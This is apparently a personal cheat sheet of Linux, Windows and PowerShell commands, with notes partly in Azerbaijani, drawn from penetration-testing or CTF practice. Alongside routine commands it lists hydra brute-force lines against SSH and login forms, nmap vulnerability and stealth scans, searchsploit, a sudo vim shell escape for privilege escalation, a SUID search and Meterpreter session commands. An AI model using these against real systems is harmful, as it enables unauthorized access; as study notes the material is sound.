Linux cmds
Linux cmds
/ - Root
Linux cmds
Ctrl+Shift+ “++” -Böyüt şrifti
Sol Cntrl L * Clear everything clear *Sil
cd * Go Home directory
nl *Number lines
-p *parent directory
2)wget http://ipUrl:8000/file.txt -P /tmp/ *Download files from web to tmp dir to avoid sudo if we are
in root
Remote to local-
fg *back to Foreground
[abc] -abc,cba,ca
'\’ +char *Escape char. For literal dot FE: a\.c = a.c
? * Optional character : abc? – ab or abc. ‘c’ is optional
\d *Digit \D *Non-Digit
^...$ *3 hərfli
grep ‘sudo’ /etc/group *See users in the “sudo” group & who can use sudo
du -ah /home/ * Disk usage- list folders in size (-a= all files)
tr -s (translate;squeeze) *REPLACE the REPEATED source CHARACTER(not Word) SETS with destination
set. Ex: cat file.txt | tr -s '[a-z] '[A-Z] *kiçik hərfləri böyüyə keçirtdi. tr -s ' ' *Delete EXTRA spaces
awk ‘BEGIN{FS=”o”} {print $1,$3} END{print “TOTAL ROWS= “ NR}' file.txt *Field seperatoru “o” hərfi
nəzərə alaraq 1və 3üncü fieldləri + sonda ümumi sıra sayını listele
cut -d “:” -f 1 *Delimiter is colon, and we Take the first field(for brute force in /etc/passwd)
env *Show variables and Path which may have a script language
exiftool image.jpg * Gps, Camera model (replace deg with '°’ paste in google or bing maps)
get file (+ new name u want) *Download from the open ftp server
find / -iname “filename” 2>dev/null *Find path to file from the root(ignore case), Don’t specify path
Find / -type f -perm 0777 * Find files with 777 permissions (-type d *directory)
Cat /etc/issue *See linux version cat /proc /version *Target system process
hydra -l username -P passwordlist/path -t 6 (ip)10.10. ssh (or- ftp://ip) *Brute force ssh password
hydra -l username -P rockyou.txt ip.address(slashsiz) http-post-form
“/login:user=^USER^&pass=^PASS^:invalid” *Use hydra for login Pages
Nmap
nmap -F -A -sN -T4 -sC (ip address..) *Scan for open ports Fast(known ports) and All including Versions(-
sV), scan network and then provide ip, Default scan(-sC)
nmap -sV -vv -sC –script vuln -sS *Version scan, Verbose, Script scan for finding vulnerability, Syn scan(-
sS stealthy one for evasion)
İf port 80(http) or 443(https) is open then means there’s a web server running, mostly website hosting
under different /(slash)s
searchsploit --cve 2019-9053 (ornamexploit) *Search for the exploit from exploit-db
(1) search -f file(path copy paste eliyəndə 2 //li elə tab-la, manual bir yox) 2)? *Help 4)dir *Listele for
windows 5)type=more *See the content cat 7)getuid *See privileges 9) sessions -i idnumber *Get back
to session 10) cat “pathtofile” *Use dırnaqs for windows path in linux 11) sysinfo -comp,os name 12)pwd
13) cd ../../ 14)
Privilege Escalation
Sudo vim -c ‘:!/bin/sh’. *Change to vim editor command shell; in VIM Press “Esc” to back to normal.
And Press “:!cmd” to execute cmds
Sudo -l *See your privileges ; Also try to check other users in home directory
Go to gtfobins.github.io and look for the binaries u can escalate after sudo -l
find / -perm -4000 2>/dev/null *Find files that have suid permission & removeerror(2>device/null)
Enumeration:
Ps aux | grep -v tty *Don’t show the process attached to terminal in other words show background
processes
Id *+name Show özünün ya da başqasının hansı grupa vı user idsi. Root olub olmadığını da check
sudo snort -X(similar -dev)(read snort. Files as raw data-hex+ascii, specify -r or -c together) -d(logger
mode-output all packets) -A full(create alerts) -c(specify rules) -r (read pcaps,snorts) -T(test config
rules,specify -c) -l . (output to the current directory)
etc/snort/rules/local.rules
tail |head file *Extract the last |first 10 lines from the file
route=ip -r *See the routing table(and who are you on the network with by slash)
Bettercap:
CMD:
ipconfig /? *See Help Manual
net user (username) *See users. Their groups and last logon for ( )
Powershell: (Verb-Noun)
Cd C:\
Get-Service |Where-Object -Property Status -eq Stopped *Get Processes equal to stopped
ls -Path C:/ -Include *file.txt* -File -R -ErrorAction Silently Continue * Find files(not directory)
Copy-item *cp
echo "smth"
Remove item=rm=rmdir=del=rd
ipconfig /all
Get-Help(Command) *resolve*